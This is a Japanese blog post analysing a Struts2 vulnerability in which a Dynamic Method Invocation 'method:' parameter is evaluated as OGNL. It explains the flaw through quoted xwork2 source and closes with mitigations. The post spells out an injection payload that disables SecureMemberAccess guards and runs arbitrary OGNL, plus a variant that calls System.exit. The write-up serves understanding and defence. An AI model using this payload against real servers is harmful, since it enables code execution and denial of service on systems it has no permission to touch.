またOGNL絡みで脆弱性が出ました。ホントにこの機構は問題児ですね… とはいえOGNLはStruts2の根幹に関わる機能なので、OFFにすることは難しい。
「1アクション=1アクションクラス」派でない方にとっては、DMIを使えないのは死活問題になりかねません。
ちなみに僕は「1アクション=1アクションクラス」派です。
さて、POCが出回っているので、今回の攻撃が成功する原因を調べてみました。POCはこのあたりを参考に。
ひとつ目のリンクはそもそも今回の脆弱性を発見した企業のブログです。 リンク先に同等の解説があるようなのですが中国語なので僕には読解不能。
結論から言うとDefaultActionInvocation、お前だ
com.opensymphony.xwork2.DefaultActionInvocationのinvokeActionが問題です。 こちらのメソッドの抜粋は以下の通り。
protected String invokeAction(Object action, ActionConfig actionConfig) throws Exception { String methodName = proxy.getMethod(); ... try { ... try { methodResult = ognlUtil.getValue(methodName + "()", getStack().getContext(), action); } catch (MethodFailedException e) { ... } ... } catch (NoSuchPropertyException e) { ... } catch (MethodFailedException e) { ... } finally { ... } }
よく見てみましょう。
methodName + "()"
コレが原因です。
まず、Struts2のDMIは、method:cancelOrder
のようにして、ActionクラスのcancelOrderメソッドを呼び出すような使い方を想定しています。
しかしながらパラメータの妥当性検証が不足しているために、
method:(#_memberAccess).setExcludedClasses(@java.util.Collections@EMPTY_SET), (#_memberAccess).setExcludedPackageNamePatterns(@java.util.Collections@EMPTY_SET), @java.lang.System@out.println('やっほー'), new java.lang.String
というクエリパラメータが
String methodName = "(#_memberAccess).setExcludedClasses(@java.util.Collections@EMPTY_SET),(#_memberAccess).setExcludedPackageNamePatterns(@java.util.Collections@EMPTY_SET),@java.lang.System@out.println('やっほー'),new java.lang.String";
という値で格納されてしまい、
ognlUtil.getValue("@java.lang.System@out.println('やっほー'),new java.lang.String" + "()", ...)
という形へ展開されて、SecureMemberAccessのガード機構を無効化した上で(#_memberAccess.setExcludedClasses
のあたり)、OGNLとして実行されてしまうわけです。
最後のjava.lang.String
は、"()"が末尾にくっついた時に妥当なOGNL式にするための調整であり、その範疇内であれば何でも良い。
だから
method:(#_memberAccess).setExcludedClasses(@java.util.Collections@EMPTY_SET), (#_memberAccess).setExcludedPackageNamePatterns(@java.util.Collections@EMPTY_SET), @java.lang.System.exit
のような式も可。
対策
DMIをOFFにすることがベストです。なお、デフォルト状態ではOFFです。(※struts-2.3.15.2以降)
また、com.opensymphony.xwork2.DefaultActionProxy#prepareでDMIのメソッド名はスクリーニングされているので、
protected void prepare() { ... try { ... if (config.isAllowedMethod(method)) { // ←許可されたメソッド名であるか検査する invocation.init(this); } else { throw new ConfigurationException("This method: " + method + " for action " + actionName + " is not allowed!"); } } finally { } }
struts.xmlでDMIのメソッド名を何でもあり、すなわちregex:.*
などと指定していない限り今回の脆弱性を突くことはできません。
(※手元で試した限りでは。責任は持ちませんので悪しからず)